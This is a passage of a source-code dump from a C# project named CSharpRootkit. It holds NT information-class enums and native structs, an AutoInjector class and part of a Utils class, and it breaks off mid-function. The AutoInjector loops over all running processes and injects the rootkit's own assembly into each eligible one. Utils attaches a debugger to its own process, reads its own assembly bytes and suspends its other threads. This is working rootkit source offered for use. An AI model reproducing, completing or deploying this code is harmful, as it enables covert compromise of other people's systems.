SystemSystemDiskInformation, // q: SYSTEM_SYSTEM_DISK_INFORMATION 115 | SystemProcessorPerformanceDistribution, // q: SYSTEM_PROCESSOR_PERFORMANCE_DISTRIBUTION (EX in: USHORT ProcessorGroup) // 100 116 | SystemNumaProximityNodeInformation, // q; s: SYSTEM_NUMA_PROXIMITY_MAP 117 | SystemDynamicTimeZoneInformation, // q; s: RTL_DYNAMIC_TIME_ZONE_INFORMATION (requires SeTimeZonePrivilege) 118 | SystemCodeIntegrityInformation, // q: SYSTEM_CODEINTEGRITY_INFORMATION // SeCodeIntegrityQueryInformation 119 | SystemProcessorMicrocodeUpdateInformation, // s: SYSTEM_PROCESSOR_MICROCODE_UPDATE_INFORMATION 120 | SystemProcessorBrandString, // q: CHAR[] // HaliQuerySystemInformation -> HalpGetProcessorBrandString, info class 23 121 | SystemVirtualAddressInformation, // q: SYSTEM_VA_LIST_INFORMATION[]; s: SYSTEM_VA_LIST_INFORMATION[] (requires SeIncreaseQuotaPrivilege) // MmQuerySystemVaInformation 122 | SystemLogicalProcessorAndGroupInformation, // q: SYSTEM_LOGICAL_PROCESSOR_INFORMATION_EX (EX in: LOGICAL_PROCESSOR_RELATIONSHIP RelationshipType) // since WIN7 // KeQueryLogicalProcessorRelationship 123 | SystemProcessorCycleTimeInformation, // q: SYSTEM_PROCESSOR_CYCLE_TIME_INFORMATION[] (EX in: USHORT ProcessorGroup) 124 | SystemStoreInformation, // q; s: SYSTEM_STORE_INFORMATION (requires SeProfileSingleProcessPrivilege) // SmQueryStoreInformation 125 | SystemRegistryAppendString, // s: SYSTEM_REGISTRY_APPEND_STRING_PARAMETERS // 110 126 | SystemAitSamplingValue, // s: ULONG (requires SeProfileSingleProcessPrivilege) 127 | SystemVhdBootInformation, // q: SYSTEM_VHD_BOOT_INFORMATION 128 | SystemCpuQuotaInformation, // q; s: PS_CPU_QUOTA_QUERY_INFORMATION 129 | SystemNativeBasicInformation, // q: SYSTEM_BASIC_INFORMATION 130 | SystemErrorPortTimeouts, // SYSTEM_ERROR_PORT_TIMEOUTS 131 | SystemLowPriorityIoInformation, // q: SYSTEM_LOW_PRIORITY_IO_INFORMATION 132 | SystemTpmBootEntropyInformation, // q: TPM_BOOT_ENTROPY_NT_RESULT // ExQueryTpmBootEntropyInformation 133 | SystemVerifierCountersInformation, // q: SYSTEM_VERIFIER_COUNTERS_INFORMATION 134 | SystemPagedPoolInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypePagedPool) 135 | SystemSystemPtesInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypeSystemPtes) // 120 136 | SystemNodeDistanceInformation, // q: USHORT[4*NumaNodes] // (EX in: USHORT NodeNumber) 137 | SystemAcpiAuditInformation, // q: SYSTEM_ACPI_AUDIT_INFORMATION // HaliQuerySystemInformation -> HalpAuditQueryResults, info class 26 138 | SystemBasicPerformanceInformation, // q: SYSTEM_BASIC_PERFORMANCE_INFORMATION // name:wow64:whNtQuerySystemInformation_SystemBasicPerformanceInformation 139 | SystemQueryPerformanceCounterInformation, // q: SYSTEM_QUERY_PERFORMANCE_COUNTER_INFORMATION // since WIN7 SP1 140 | SystemSessionBigPoolInformation, // q: SYSTEM_SESSION_POOLTAG_INFORMATION // since WIN8 141 | SystemBootGraphicsInformation, // q; s: SYSTEM_BOOT_GRAPHICS_INFORMATION (kernel-mode only) 142 | SystemScrubPhysicalMemoryInformation, // q; s: MEMORY_SCRUB_INFORMATION 143 | SystemBadPageInformation, 144 | SystemProcessorProfileControlArea, // q; s: SYSTEM_PROCESSOR_PROFILE_CONTROL_AREA 145 | SystemCombinePhysicalMemoryInformation, // s: MEMORY_COMBINE_INFORMATION, MEMORY_COMBINE_INFORMATION_EX, MEMORY_COMBINE_INFORMATION_EX2 // 130 146 | SystemEntropyInterruptTimingInformation, // q; s: SYSTEM_ENTROPY_TIMING_INFORMATION 147 | SystemConsoleInformation, // q; s: SYSTEM_CONSOLE_INFORMATION 148 | SystemPlatformBinaryInformation, // q: SYSTEM_PLATFORM_BINARY_INFORMATION (requires SeTcbPrivilege) 149 | SystemPolicyInformation, // q: SYSTEM_POLICY_INFORMATION (Warbird/Encrypt/Decrypt/Execute) 150 | SystemHypervisorProcessorCountInformation, // q: SYSTEM_HYPERVISOR_PROCESSOR_COUNT_INFORMATION 151 | SystemDeviceDataInformation, // q: SYSTEM_DEVICE_DATA_INFORMATION 152 | SystemDeviceDataEnumerationInformation, // q: SYSTEM_DEVICE_DATA_INFORMATION 153 | SystemMemoryTopologyInformation, // q: SYSTEM_MEMORY_TOPOLOGY_INFORMATION 154 | SystemMemoryChannelInformation, // q: SYSTEM_MEMORY_CHANNEL_INFORMATION 155 | SystemBootLogoInformation, // q: SYSTEM_BOOT_LOGO_INFORMATION // 140 156 | SystemProcessorPerformanceInformationEx, // q: SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION_EX // (EX in: USHORT ProcessorGroup) // since WINBLUE 157 | SystemCriticalProcessErrorLogInformation, 158 | SystemSecureBootPolicyInformation, // q: SYSTEM_SECUREBOOT_POLICY_INFORMATION 159 | SystemPageFileInformationEx, // q: SYSTEM_PAGEFILE_INFORMATION_EX 160 | SystemSecureBootInformation, // q: SYSTEM_SECUREBOOT_INFORMATION 161 | SystemEntropyInterruptTimingRawInformation, 162 | SystemPortableWorkspaceEfiLauncherInformation, // q: SYSTEM_PORTABLE_WORKSPACE_EFI_LAUNCHER_INFORMATION 163 | SystemFullProcessInformation, // q: SYSTEM_PROCESS_INFORMATION with SYSTEM_PROCESS_INFORMATION_EXTENSION (requires admin) 164 | SystemKernelDebuggerInformationEx, // q: SYSTEM_KERNEL_DEBUGGER_INFORMATION_EX 165 | SystemBootMetadataInformation, // 150 166 | SystemSoftRebootInformation, // q: ULONG 167 | SystemElamCertificateInformation, // s: SYSTEM_ELAM_CERTIFICATE_INFORMATION 168 | SystemOfflineDumpConfigInformation, // q: OFFLINE_CRASHDUMP_CONFIGURATION_TABLE_V2 169 | SystemProcessorFeaturesInformation, // q: SYSTEM_PROCESSOR_FEATURES_INFORMATION 170 | SystemRegistryReconciliationInformation, // s: NULL (requires admin) (flushes registry hives) 171 | SystemEdidInformation, // q: SYSTEM_EDID_INFORMATION 172 | SystemManufacturingInformation, // q: SYSTEM_MANUFACTURING_INFORMATION // since THRESHOLD 173 | SystemEnergyEstimationConfigInformation, // q: SYSTEM_ENERGY_ESTIMATION_CONFIG_INFORMATION 174 | SystemHypervisorDetailInformation, // q: SYSTEM_HYPERVISOR_DETAIL_INFORMATION 175 | SystemProcessorCycleStatsInformation, // q: SYSTEM_PROCESSOR_CYCLE_STATS_INFORMATION (EX in: USHORT ProcessorGroup) // 160 176 | SystemVmGenerationCountInformation, 177 | SystemTrustedPlatformModuleInformation, // q: SYSTEM_TPM_INFORMATION 178 | SystemKernelDebuggerFlags, // SYSTEM_KERNEL_DEBUGGER_FLAGS 179 | SystemCodeIntegrityPolicyInformation, // q; s: SYSTEM_CODEINTEGRITYPOLICY_INFORMATION 180 | SystemIsolatedUserModeInformation, // q: SYSTEM_ISOLATED_USER_MODE_INFORMATION 181 | SystemHardwareSecurityTestInterfaceResultsInformation, 182 | SystemSingleModuleInformation, // q: SYSTEM_SINGLE_MODULE_INFORMATION 183 | SystemAllowedCpuSetsInformation, // s: SYSTEM_WORKLOAD_ALLOWED_CPU_SET_INFORMATION 184 | SystemVsmProtectionInformation, // q: SYSTEM_VSM_PROTECTION_INFORMATION (previously SystemDmaProtectionInformation) 185 | SystemInterruptCpuSetsInformation, // q: SYSTEM_INTERRUPT_CPU_SET_INFORMATION // 170 186 | SystemSecureBootPolicyFullInformation, // q: SYSTEM_SECUREBOOT_POLICY_FULL_INFORMATION 187 | SystemCodeIntegrityPolicyFullInformation, 188 | SystemAffinitizedInterruptProcessorInformation, // (requires SeIncreaseBasePriorityPrivilege) 189 | SystemRootSiloInformation, // q: SYSTEM_ROOT_SILO_INFORMATION 190 | SystemCpuSetInformation, // q: SYSTEM_CPU_SET_INFORMATION // since THRESHOLD2 191 | SystemCpuSetTagInformation, // q: SYSTEM_CPU_SET_TAG_INFORMATION 192 | SystemWin32WerStartCallout, 193 | SystemSecureKernelProfileInformation, // q: SYSTEM_SECURE_KERNEL_HYPERGUARD_PROFILE_INFORMATION 194 | SystemCodeIntegrityPlatformManifestInformation, // q: SYSTEM_SECUREBOOT_PLATFORM_MANIFEST_INFORMATION // since REDSTONE 195 | SystemInterruptSteeringInformation, // q: in: SYSTEM_INTERRUPT_STEERING_INFORMATION_INPUT, out: SYSTEM_INTERRUPT_STEERING_INFORMATION_OUTPUT // NtQuerySystemInformationEx // 180 196 | SystemSupportedProcessorArchitectures, // p: in opt: HANDLE, out: SYSTEM_SUPPORTED_PROCESSOR_ARCHITECTURES_INFORMATION[] // NtQuerySystemInformationEx 197 | SystemMemoryUsageInformation, // q: SYSTEM_MEMORY_USAGE_INFORMATION 198 | SystemCodeIntegrityCertificateInformation, // q: SYSTEM_CODEINTEGRITY_CERTIFICATE_INFORMATION 199 | SystemPhysicalMemoryInformation, // q: SYSTEM_PHYSICAL_MEMORY_INFORMATION // since REDSTONE2 200 | SystemControlFlowTransition, // (Warbird/Encrypt/Decrypt/Execute) 201 | SystemKernelDebuggingAllowed, // s: ULONG 202 | SystemActivityModerationExeState, // SYSTEM_ACTIVITY_MODERATION_EXE_STATE 203 | SystemActivityModerationUserSettings, // SYSTEM_ACTIVITY_MODERATION_USER_SETTINGS 204 | SystemCodeIntegrityPoliciesFullInformation, 205 | SystemCodeIntegrityUnlockInformation, // SYSTEM_CODEINTEGRITY_UNLOCK_INFORMATION // 190 206 | SystemIntegrityQuotaInformation, 207 | SystemFlushInformation, // q: SYSTEM_FLUSH_INFORMATION 208 | SystemProcessorIdleMaskInformation, // q: ULONG_PTR[ActiveGroupCount] // since REDSTONE3 209 | SystemSecureDumpEncryptionInformation, 210 | SystemWriteConstraintInformation, // SYSTEM_WRITE_CONSTRAINT_INFORMATION 211 | SystemKernelVaShadowInformation, // SYSTEM_KERNEL_VA_SHADOW_INFORMATION 212 | SystemHypervisorSharedPageInformation, // SYSTEM_HYPERVISOR_SHARED_PAGE_INFORMATION // since REDSTONE4 213 | SystemFirmwareBootPerformanceInformation, 214 | SystemCodeIntegrityVerificationInformation, // SYSTEM_CODEINTEGRITYVERIFICATION_INFORMATION 215 | SystemFirmwarePartitionInformation, // SYSTEM_FIRMWARE_PARTITION_INFORMATION // 200 216 | SystemSpeculationControlInformation, // SYSTEM_SPECULATION_CONTROL_INFORMATION // (CVE-2017-5715) REDSTONE3 and above. 217 | SystemDmaGuardPolicyInformation, // SYSTEM_DMA_GUARD_POLICY_INFORMATION 218 | SystemEnclaveLaunchControlInformation, // SYSTEM_ENCLAVE_LAUNCH_CONTROL_INFORMATION 219 | SystemWorkloadAllowedCpuSetsInformation, // SYSTEM_WORKLOAD_ALLOWED_CPU_SET_INFORMATION // since REDSTONE5 220 | SystemCodeIntegrityUnlockModeInformation, // SYSTEM_CODEINTEGRITY_UNLOCK_INFORMATION 221 | SystemLeapSecondInformation, // SYSTEM_LEAP_SECOND_INFORMATION 222 | SystemFlags2Information, // q: SYSTEM_FLAGS_INFORMATION 223 | SystemSecurityModelInformation, // SYSTEM_SECURITY_MODEL_INFORMATION // since 19H1 224 | SystemCodeIntegritySyntheticCacheInformation, 225 | SystemFeatureConfigurationInformation, // SYSTEM_FEATURE_CONFIGURATION_INFORMATION // since 20H1 // 210 226 | SystemFeatureConfigurationSectionInformation, // SYSTEM_FEATURE_CONFIGURATION_SECTIONS_INFORMATION 227 | SystemFeatureUsageSubscriptionInformation, // SYSTEM_FEATURE_USAGE_SUBSCRIPTION_DETAILS 228 | SystemSecureSpeculationControlInformation, // SECURE_SPECULATION_CONTROL_INFORMATION 229 | SystemSpacesBootInformation, // since 20H2 230 | SystemFwRamdiskInformation, // SYSTEM_FIRMWARE_RAMDISK_INFORMATION 231 | SystemWheaIpmiHardwareInformation, 232 | SystemDifSetRuleClassInformation, // SYSTEM_DIF_VOLATILE_INFORMATION 233 | SystemDifClearRuleClassInformation, 234 | SystemDifApplyPluginVerificationOnDriver, // SYSTEM_DIF_PLUGIN_DRIVER_INFORMATION 235 | SystemDifRemovePluginVerificationOnDriver, // SYSTEM_DIF_PLUGIN_DRIVER_INFORMATION // 220 236 | SystemShadowStackInformation, // SYSTEM_SHADOW_STACK_INFORMATION 237 | SystemBuildVersionInformation, // q: in: ULONG (LayerNumber), out: SYSTEM_BUILD_VERSION_INFORMATION // NtQuerySystemInformationEx // 222 238 | SystemPoolLimitInformation, // SYSTEM_POOL_LIMIT_INFORMATION (requires SeIncreaseQuotaPrivilege) 239 | SystemCodeIntegrityAddDynamicStore, 240 | SystemCodeIntegrityClearDynamicStores, 241 | SystemDifPoolTrackingInformation, 242 | SystemPoolZeroingInformation, // q: SYSTEM_POOL_ZEROING_INFORMATION 243 | SystemDpcWatchdogInformation, // q; s: SYSTEM_DPC_WATCHDOG_CONFIGURATION_INFORMATION 244 | SystemDpcWatchdogInformation2, // q; s: SYSTEM_DPC_WATCHDOG_CONFIGURATION_INFORMATION_V2 245 | SystemSupportedProcessorArchitectures2, // q: in opt: HANDLE, out: SYSTEM_SUPPORTED_PROCESSOR_ARCHITECTURES_INFORMATION[] // NtQuerySystemInformationEx // 230 246 | SystemSingleProcessorRelationshipInformation, // q: SYSTEM_LOGICAL_PROCESSOR_INFORMATION_EX // (EX in: PROCESSOR_NUMBER Processor) 247 | SystemXfgCheckFailureInformation, // q: SYSTEM_XFG_FAILURE_INFORMATION 248 | SystemIommuStateInformation, // SYSTEM_IOMMU_STATE_INFORMATION // since 22H1 249 | SystemHypervisorMinrootInformation, // SYSTEM_HYPERVISOR_MINROOT_INFORMATION 250 | SystemHypervisorBootPagesInformation, // SYSTEM_HYPERVISOR_BOOT_PAGES_INFORMATION 251 | SystemPointerAuthInformation, // SYSTEM_POINTER_AUTH_INFORMATION 252 | SystemSecureKernelDebuggerInformation, 253 | SystemOriginalImageFeatureInformation, // q: in: SYSTEM_ORIGINAL_IMAGE_FEATURE_INFORMATION_INPUT, out: SYSTEM_ORIGINAL_IMAGE_FEATURE_INFORMATION_OUTPUT // NtQuerySystemInformationEx 254 | MaxSystemInfoClass 255 | } 256 | 257 | public enum FILE_INFORMATION_CLASS 258 | { 259 | FileDirectoryInformation = 1, 260 | FileFullDirectoryInformation = 2, 261 | FileBothDirectoryInformation = 3, 262 | FileBasicInformation = 4, 263 | FileStandardInformation = 5, 264 | FileInternalInformation = 6, 265 | FileEaInformation = 7, 266 | FileAccessInformation = 8, 267 | FileNameInformation = 9, 268 | FileRenameInformation = 10, 269 | FileLinkInformation = 11, 270 | FileNamesInformation = 12, 271 | FileDispositionInformation = 13, 272 | FilePositionInformation = 14, 273 | FileFullEaInformation = 15, 274 | FileModeInformation = 16, 275 | FileAlignmentInformation = 17, 276 | FileAllInformation = 18, 277 | FileAllocationInformation = 19, 278 | FileEndOfFileInformation = 20, 279 | FileAlternateNameInformation = 21, 280 | FileStreamInformation = 22, 281 | FilePipeInformation = 23, 282 | FilePipeLocalInformation = 24, 283 | FilePipeRemoteInformation = 25, 284 | FileMailslotQueryInformation = 26, 285 | FileMailslotSetInformation = 27, 286 | FileCompressionInformation = 28, 287 | FileObjectIdInformation = 29, 288 | FileCompletionInformation = 30, 289 | FileMoveClusterInformation = 31, 290 | FileQuotaInformation = 32, 291 | FileReparsePointInformation = 33, 292 | FileNetworkOpenInformation = 34, 293 | FileAttributeTagInformation = 35, 294 | FileTrackingInformation = 36, 295 | FileIdBothDirectoryInformation = 37, 296 | FileIdFullDirectoryInformation = 38, 297 | FileValidDataLengthInformation = 39, 298 | FileShortNameInformation = 40, 299 | FileIoCompletionNotificationInformation = 41, 300 | FileIoStatusBlockRangeInformation = 42, 301 | FileIoPriorityHintInformation = 43, 302 | FileSfioReserveInformation = 44, 303 | FileSfioVolumeInformation = 45, 304 | FileHardLinkInformation = 46, 305 | FileProcessIdsUsingFileInformation = 47, 306 | FileNormalizedNameInformation = 48, 307 | FileNetworkPhysicalNameInformation = 49, 308 | FileIdGlobalTxDirectoryInformation = 50, 309 | FileIsRemoteDeviceInformation = 51, 310 | FileUnusedInformation = 52, 311 | FileNumaNodeInformation = 53, 312 | FileStandardLinkInformation = 54, 313 | FileRemoteProtocolInformation = 55, 314 | FileRenameInformationBypassAccessCheck = 56, 315 | FileLinkInformationBypassAccessCheck = 57, 316 | FileVolumeNameInformation = 58, 317 | FileIdInformation = 59, 318 | FileIdExtdDirectoryInformation = 60, 319 | FileReplaceCompletionInformation = 61, 320 | FileHardLinkFullIdInformation = 62, 321 | FileIdExtdBothDirectoryInformation = 63, 322 | FileDispositionInformationEx = 64, 323 | FileRenameInformationEx = 65, 324 | FileRenameInformationExBypassAccessCheck = 66, 325 | FileDesiredStorageClassInformation = 67, 326 | FileStatInformation = 68, 327 | FileMemoryPartitionInformation = 69, 328 | FileStatLxInformation = 70, 329 | FileCaseSensitiveInformation = 71, 330 | FileLinkInformationEx = 72, 331 | FileLinkInformationExBypassAccessCheck = 73, 332 | FileStorageReserveIdInformation = 74, 333 | FileCaseSensitiveInformationForceAccessCheck = 75, 334 | FileKnownFolderInformation = 76, 335 | FileStatBasicInformation = 77, 336 | FileId64ExtdDirectoryInformation = 78, 337 | FileId64ExtdBothDirectoryInformation = 79, 338 | FileIdAllExtdDirectoryInformation = 80, 339 | FileIdAllExtdBothDirectoryInformation = 81, 340 | FileStreamReservationInformation, 341 | FileMupProviderInfo, 342 | FileMaximumInformation 343 | } 344 | 345 | 346 | [StructLayout(LayoutKind.Sequential, Pack = 0)] 347 | public struct UNICODE_STRING 348 | { 349 | public ushort Length; 350 | public ushort MaximumLength; 351 | public IntPtr Buffer; 352 | } 353 | 354 | [StructLayout(LayoutKind.Sequential)] 355 | public struct SYSTEM_PROCESS_INFORMATION 356 | { 357 | public uint NextEntryOffset; 358 | public uint NumberOfThreads; 359 | public long WorkingSetPrivateSize; 360 | public uint HardFaultCount; 361 | public uint NumberOfThreadsHighWatermark; 362 | public ulong CycleTime; 363 | public long CreateTime; 364 | public long UserTime; 365 | public long KernelTime; 366 | public UNICODE_STRING ImageName; 367 | public uint BasePriority; 368 | public IntPtr ProcessId; 369 | public IntPtr InheritedFromProcessId; 370 | } 371 | 372 | 373 | [StructLayout(LayoutKind.Sequential)] 374 | public struct SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION 375 | { 376 | public long IdleTime; 377 | public long KernelTime; 378 | public long UserTime; 379 | public long DpcTime; 380 | public long InterruptTime; 381 | public uint InterruptCount; 382 | } 383 | 384 | [StructLayout(LayoutKind.Sequential)] 385 | public struct SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION_EX 386 | { 387 | public long IdleTime; 388 | public long KernelTime; 389 | public long UserTime; 390 | public long DpcTime; 391 | public long InterruptTime; 392 | public uint InterruptCount; 393 | public uint Spare0; 394 | public long AvailableTime; 395 | public long Spare1; 396 | public long Spare2; 397 | } 398 | 399 | [StructLayout(LayoutKind.Sequential)] 400 | public struct SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION 401 | { 402 | public ulong CycleTime; 403 | } 404 | 405 | [StructLayout(LayoutKind.Sequential)] 406 | public struct NT_FILE_DIRECTORY_INFORMATION 407 | { 408 | public uint NextEntryOffset; 409 | public uint FileIndex; 410 | public long CreationTime; 411 | public long LastAccessTime; 412 | public long LastWriteTime; 413 | public long ChangeTime; 414 | public long EndOfFile; 415 | public long AllocationSize; 416 | public uint FileAttributes; 417 | public uint FileNameLength; 418 | public char FileNameStart; 419 | } 420 | 421 | [StructLayout(LayoutKind.Sequential)] 422 | public struct NT_FILE_FULL_DIR_INFORMATION 423 | { 424 | public uint NextEntryOffset; 425 | public uint FileIndex; 426 | public long CreationTime; 427 | public long LastAccessTime; 428 | public long LastWriteTime; 429 | public long ChangeTime; 430 | public long EndOfFile; 431 | public long AllocationSize; 432 | public uint FileAttributes; 433 | public uint FileNameLength; 434 | public uint EaSize; 435 | public char FileNameStart; 436 | } 437 | [StructLayout(LayoutKind.Sequential)] 438 | public struct NT_FILE_ID_FULL_DIR_INFORMATION 439 | { 440 | public uint NextEntryOffset; 441 | public uint FileIndex; 442 | public long CreationTime; 443 | public long LastAccessTime; 444 | public long LastWriteTime; 445 | public long ChangeTime; 446 | public long EndOfFile; 447 | public long AllocationSize; 448 | public uint FileAttributes; 449 | public uint FileNameLength; 450 | public uint EaSize; 451 | public long FileId; 452 | public char FileNameStart; 453 | } 454 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 455 | public struct NT_FILE_BOTH_DIR_INFORMATION 456 | { 457 | public uint NextEntryOffset; 458 | public uint FileIndex; 459 | public long CreationTime; 460 | public long LastAccessTime; 461 | public long LastWriteTime; 462 | public long ChangeTime; 463 | public long EndOfFile; 464 | public long AllocationSize; 465 | public uint FileAttributes; 466 | public uint FileNameLength; 467 | public uint EaSize; 468 | public byte ShortNameLength; 469 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 12)] 470 | public string ShortName; 471 | public char FileNameStart; 472 | } 473 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 474 | public struct NT_FILE_ID_BOTH_DIR_INFORMATION 475 | { 476 | public uint NextEntryOffset; 477 | public uint FileIndex; 478 | public long CreationTime; 479 | public long LastAccessTime; 480 | public long LastWriteTime; 481 | public long ChangeTime; 482 | public long EndOfFile; 483 | public long AllocationSize; 484 | public uint FileAttributes; 485 | public uint FileNameLength; 486 | public uint EaSize; 487 | public byte ShortNameLength; 488 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 12)] 489 | public string ShortName; 490 | public long FileId; 491 | public char FileNameStart; 492 | } 493 | 494 | 495 | 496 | [StructLayout(LayoutKind.Sequential)] 497 | public struct NT_FILE_NAMES_INFORMATION 498 | { 499 | public uint NextEntryOffset; 500 | public uint FileIndex; 501 | public uint FileNameLength; 502 | public char FileNameStart; 503 | } 504 | 505 | 506 | 507 | } 508 | } 509 | -------------------------------------------------------------------------------- /CSharpRootkit/Utils/AutoInjector.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Diagnostics; 4 | using System.Linq; 5 | using System.Text; 6 | using System.Threading; 7 | using System.Threading.Tasks; 8 | 9 | namespace CSharpRootkit 10 | { 11 | public static class AutoInjector 12 | { 13 | 14 | private static HashSet injectedPids = new HashSet(); 15 | private static Action InjectionEntryPoint; 16 | 17 | private static int LoopInterval; 18 | public static bool started; 19 | 20 | public static void Start(Action func, bool WaitForFirstInjectIteration = true, int intervalMs=100) 21 | { 22 | injectedPids.Clear(); 23 | InjectionEntryPoint = func; 24 | LoopInterval = intervalMs; 25 | if (!RootKitInterface.started) 26 | { 27 | throw new Exception("The RootKitInterface must be started before starting the AutoInjector."); 28 | //throw error, RootKitInterface needs to be started. 29 | } 30 | 31 | started = true; 32 | 33 | if (WaitForFirstInjectIteration) 34 | { 35 | InjectAllPossible(); 36 | } 37 | 38 | new Thread(InjectAllPossibleLoop).Start(); 39 | 40 | } 41 | 42 | public static void Stop() 43 | { 44 | started = false; 45 | } 46 | 47 | 48 | private static void InjectAllPossibleLoop() 49 | { 50 | while (started) 51 | { 52 | Thread.Sleep(LoopInterval); 53 | InjectAllPossible(); 54 | } 55 | } 56 | 57 | private static void InjectAllPossible() 58 | { 59 | byte[] selfBytes = Utils.GetCurrentSelfBytes(); 60 | int currentProcId = (int)NativeMethods.GetCurrentProcessId(); 61 | HashSet collectedPids = new HashSet(); 62 | foreach (Process proc in Process.GetProcesses()) 63 | { 64 | collectedPids.Add(proc.Id); 65 | if (!RootKitInterface.started && started) 66 | { 67 | proc.Dispose(); 68 | throw new Exception("The AutoInjector must be stopped before stopping the rootkit interface!"); 69 | } 70 | else if (!started) 71 | { 72 | proc.Dispose(); 73 | return; 74 | } 75 | 76 | 77 | if (injectedPids.Contains(proc.Id)) 78 | { 79 | proc.Dispose(); 80 | continue; 81 | } 82 | 83 | if (proc.Id == currentProcId || !Utils.GetParentProcess(proc.Id, out int parentProc) || parentProc == currentProcId) //make sure its not a subprocess, for example if c# spawns a conhost, injecting into it can cause a crash. 84 | { 85 | proc.Dispose(); 86 | continue; 87 | } 88 | 89 | IntPtr procHandle = SharpInjector.GetProcessHandleWithRequiredRights(proc.Id); 90 | if (!RootKitInterface.IsAgainstInclusionExclusionRules(procHandle) && Utils.ShouldInject(procHandle)) 91 | { 92 | SharpInjector.Inject(procHandle, InjectionEntryPoint, 0); 93 | injectedPids.Add(proc.Id); 94 | } 95 | 96 | NativeMethods.CloseHandle(procHandle); 97 | proc.Dispose(); 98 | } 99 | 100 | injectedPids.RemoveWhere((pid) => !collectedPids.Contains(pid));//remove pids where the process has been terminated. 101 | } 102 | 103 | 104 | 105 | } 106 | } 107 | -------------------------------------------------------------------------------- /CSharpRootkit/Utils/Utils.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Diagnostics; 4 | using System.IO; 5 | using System.IO.MemoryMappedFiles; 6 | using System.IO.Pipes; 7 | using System.Linq; 8 | using System.Net; 9 | using System.Reflection; 10 | using System.Runtime.InteropServices; 11 | using System.Security.AccessControl; 12 | using System.Security.Principal; 13 | using System.Text; 14 | using System.Threading; 15 | using System.Threading.Tasks; 16 | using static CSharpRootkit.DbgInterface; 17 | using static CSharpRootkit.InternalStructs; 18 | using static CSharpRootkit.InternalStructs64; 19 | 20 | namespace CSharpRootkit 21 | { 22 | public static class Utils 23 | { 24 | private static uint THREAD_SUSPEND_RESUME = 0x0002; 25 | private static uint THREAD_QUERY_INFORMATION = 0x0040; 26 | private static uint STATUS_NO_MORE_ENTRIES = 0x8000001A; 27 | 28 | private static uint DEBUG_ATTACH_NONINVASIVE_NO_SUSPEND = 0x00000004; 29 | private static uint DEBUG_ATTACH_NONINVASIVE = 0x00000001; 30 | 31 | private static uint InstructionSizeString = 64 + 2 * 16 + 10 + 10 + 2 * 64 + 2 * 4 + 4; 32 | 33 | public static bool CanGetInstructionSize = true; 34 | 35 | private static DbgInterface.IDebugClient DebugClient; 36 | private static DbgInterface.IDebugControl DebugControl; 37 | 38 | private static uint TOKEN_QUERY = 0x0008; 39 | private static int TokenElevation = 20; 40 | private static int TokenIntegrityLevel = 25; 41 | 42 | private static uint PROCESS_QUERY_LIMITED_INFORMATION = 0x1000; 43 | private static uint PROCESS_VM_READ = 0x0010; 44 | 45 | 46 | private static uint PAGE_READWRITE = 0x04; 47 | 48 | private static string headerString = "moom825"; 49 | private static byte[] headerBackup = new byte[headerString.Length]; 50 | 51 | private static Random random = new Random(); 52 | 53 | static Utils() 54 | { 55 | uint SPECIAL_STATUS_ACCESS_DENIED = 0xd0000022; 56 | Guid DebugClientIID = new Guid("27fe5639-8407-4f47-8364-ee118fb08ac8"); 57 | if (DbgInterface.DebugCreate(ref DebugClientIID, out DebugClient) != 0) 58 | { 59 | CanGetInstructionSize = false; 60 | return; 61 | } 62 | if (DebugClient.AttachProcess(0, NativeMethods.GetCurrentProcessId(), DEBUG_ATTACH_NONINVASIVE | DEBUG_ATTACH_NONINVASIVE_NO_SUSPEND) != 0) 63 | { 64 | CanGetInstructionSize = false; 65 | return; 66 | } 67 | DebugControl = (DbgInterface.IDebugControl)DebugClient; 68 | const int maxRetries = 20; 69 | const int delayBetweenRetries = 200; // milliseconds 70 | bool isAttached = false; 71 | 72 | for (int i = 0; i < maxRetries; i++)//for some reason theres a chance that the wait will not wait properly causing it to give a 0xd0000022 (maybe STATUS_ACCESS_DENIED, couldnt find too much info on it), if we just wait and call it again it seems to fix it self, maybe something internally has not reached stability yet 73 | { 74 | 75 | uint waitResult = DebugControl.WaitForEvent(0, 5000); 76 | 77 | if (waitResult == 0) // Success 78 | { 79 | isAttached = true; 80 | break; 81 | } 82 | else if (waitResult == SPECIAL_STATUS_ACCESS_DENIED) 83 | { 84 | Thread.Sleep(delayBetweenRetries); 85 | } 86 | else //real error 87 | { 88 | break; 89 | } 90 | } 91 | if (!isAttached) 92 | { 93 | CanGetInstructionSize = false; 94 | return; 95 | } 96 | } 97 | 98 | public static byte[] GetCurrentSelfBytes() 99 | { 100 | Assembly assembly = Assembly.GetExecutingAssembly(); 101 | MethodInfo GetRawAssemblyBytes = assembly.GetType().GetMethod("GetRawBytes", BindingFlags.Instance | BindingFlags.NonPublic); 102 | byte[] assemblyBytes = (byte[])GetRawAssemblyBytes.Invoke(assembly, null); 103 | return assemblyBytes; 104 | } 105 | 106 | public static IntPtr[] PauseAllThreadExceptCurrent() 107 | { 108 | uint CurrentThreadId = NativeMethods.GetCurrentThreadId(); 109 | 110 | List threadHandles = new List(); 111 | IntPtr hThread = IntPtr.Zero; 112 | while (true) 113 | { 114 | uint result = NativeMethods.NtGetNextThread(NativeMethods.GetCurrentProcess(), hThread, THREAD_SUSPEND_RESUME | THREAD_QUERY_INFORMATION, 0, 0, out IntPtr hThreadNext); 115 | 116 | if (result == 0 && hThread != IntPtr.Zero) 117 | { 118 | uint newThreadId = NativeMethods.GetThreadId(hThread); 119 | 120 | if (newThreadId != CurrentThreadId) 121 | { 122 | threadHandles.Add(hThread); 123 | NativeMethods.SuspendThread(hThread);//this can pause the debugger thread causing the program to freeze up 124 | } 125 | else 126 | { 127 | NativeMethods.CloseHandle(hThread); 128 | } 129 | } 130 | else if (result == STATUS_NO_MORE_ENTRIES) 131 | { 132 | break; 133 | } 134 | hThread = hThreadNext; 135 | } 136 | return 